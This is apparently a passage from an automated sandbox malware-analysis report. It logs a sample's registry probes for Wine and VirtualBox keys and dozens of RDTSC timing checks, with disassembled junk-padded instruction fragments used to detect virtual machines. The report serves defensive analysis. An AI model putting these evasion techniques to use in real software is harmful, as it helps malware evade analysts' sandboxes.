Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF148 second address: 7BF15B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1538C62CDCh 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF15B second address: 7BF172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F153924BB66h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1E86 second address: 7D1E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1538C62CD6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1E91 second address: 7D1EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F153924BB6Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1EA3 second address: 7D1EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1EAB second address: 7D1EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F153924BB6Ch 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F153924BB7Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2193 second address: 7D2199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2343 second address: 7D2349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2349 second address: 7D234F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D234F second address: 7D2355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3D9D second address: 7D3DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1538C62CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E5D second address: 7D3E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E61 second address: 7D3E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E6D second address: 7D3E7D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E7D second address: 7D3E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E81 second address: 7D3E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F153924BB71h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E9D second address: 7D3EA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3EA3 second address: 7D3EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F153924BB6Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3EC2 second address: 7D3EC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3EC8 second address: 7D3ED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F153924BB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3ED2 second address: 7D3ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3ED6 second address: 7D3F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 movzx ecx, cx 0x0000000c lea ebx, dword ptr [ebp+12458CBCh] 0x00000012 jp 00007F153924BB66h 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F153924BB76h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3F0B second address: 7D3F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3F11 second address: 7D3F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D40BA second address: 7D4110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b add esi, 40F81C1Fh 0x00000011 push B3B32D04h 0x00000016 jp 00007F1538C62CEEh 0x0000001c jmp 00007F1538C62CE8h 0x00000021 add dword ptr [esp], 4C4CD37Ch 0x00000028 push 00000003h 0x0000002a clc 0x0000002b push 00000000h 0x0000002d sbb di, E3E8h 0x00000032 push 00000003h 0x00000034 mov esi, dword ptr [ebp+122D3B5Fh] 0x0000003a push B4083D3Fh 0x0000003f pushad 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6D2A second address: 7E6D30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3FFF second address: 7F400F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F1538C62CDEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F42F7 second address: 7F42FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F42FB second address: 7F42FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F42FF second address: 7F4318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB73h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4318 second address: 7F4332 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1538C62CDEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45C9 second address: 7F45CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45CD second address: 7F45D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45D7 second address: 7F45DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45DB second address: 7F45DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45DF second address: 7F45FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB77h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F45FC second address: 7F4618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1538C62CDBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4CAE second address: 7F4CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5979 second address: 7F5998 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1538C62CD6h 0x00000008 jmp 00007F1538C62CE2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5998 second address: 7F59C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB6Dh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F153924BB75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F716C second address: 7F7179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7179 second address: 7F717D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F717D second address: 7F7181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80021C second address: 800235 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F153924BB6Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800628 second address: 80062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803799 second address: 80379D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80379D second address: 8037BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1538C62CE4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80383E second address: 803859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803BB0 second address: 803BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803BB6 second address: 803BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803BBC second address: 803BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803DF9 second address: 803DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803DFF second address: 803E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E03 second address: 803E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804458 second address: 804466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804466 second address: 80446A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80446A second address: 8044AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F1538C62CD8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 nop 0x00000026 jnc 00007F1538C62CDAh 0x0000002c push eax 0x0000002d je 00007F1538C62CF3h 0x00000033 push eax 0x00000034 push edx 0x00000035 jnl 00007F1538C62CD6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804938 second address: 80493E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804996 second address: 80499B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80499B second address: 8049A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8049A1 second address: 8049A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8049A5 second address: 8049C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007F153924BB6Bh 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F153924BB66h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804E63 second address: 804E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804E67 second address: 804ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F153924BB68h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F153924BB68h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub dword ptr [ebp+122D1C81h], ecx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b je 00007F153924BB6Ch 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80589C second address: 8058A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8058A1 second address: 8058A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8058A6 second address: 805913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1538C62CDEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F1538C62CDAh 0x00000013 jmp 00007F1538C62CE3h 0x00000018 popad 0x00000019 nop 0x0000001a movsx esi, di 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F1538C62CD8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b sub dword ptr [ebp+122D33FFh], ecx 0x00000041 movsx esi, bx 0x00000044 xchg eax, ebx 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805913 second address: 805917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8071C1 second address: 8071CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1538C62CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BE5 second address: 807BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F153924BB66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E55 second address: 807E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BF2 second address: 807C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F153924BB73h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E5B second address: 807E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E60 second address: 807E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F153924BB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E6A second address: 807ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F1538C62CD8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 xor esi, dword ptr [ebp+122D3D4Fh] 0x0000002b push 00000000h 0x0000002d jmp 00007F1538C62CE4h 0x00000032 push 00000000h 0x00000034 sub dword ptr [ebp+122D258Ch], ebx 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F1538C62CE8h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushad 0x00000045 popad 0x00000046 push esi 0x00000047 pop esi 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807ED7 second address: 807EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089F7 second address: 8089FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808786 second address: 80878B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8089FB second address: 808A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809412 second address: 809424 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F153924BB68h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8091A0 second address: 8091A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809424 second address: 80942B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809E88 second address: 809E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809F16 second address: 809F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809F1A second address: 809F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809F20 second address: 809F27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B37A second address: 80B393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8DF second address: 80B917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F153924BB74h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e cld 0x0000000f push 00000000h 0x00000011 jnp 00007F153924BB6Bh 0x00000017 mov ebx, 368DD7C2h 0x0000001c push 00000000h 0x0000001e or ebx, 62C7ACE0h 0x00000024 push eax 0x00000025 pushad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B917 second address: 80B91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B91D second address: 80B926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
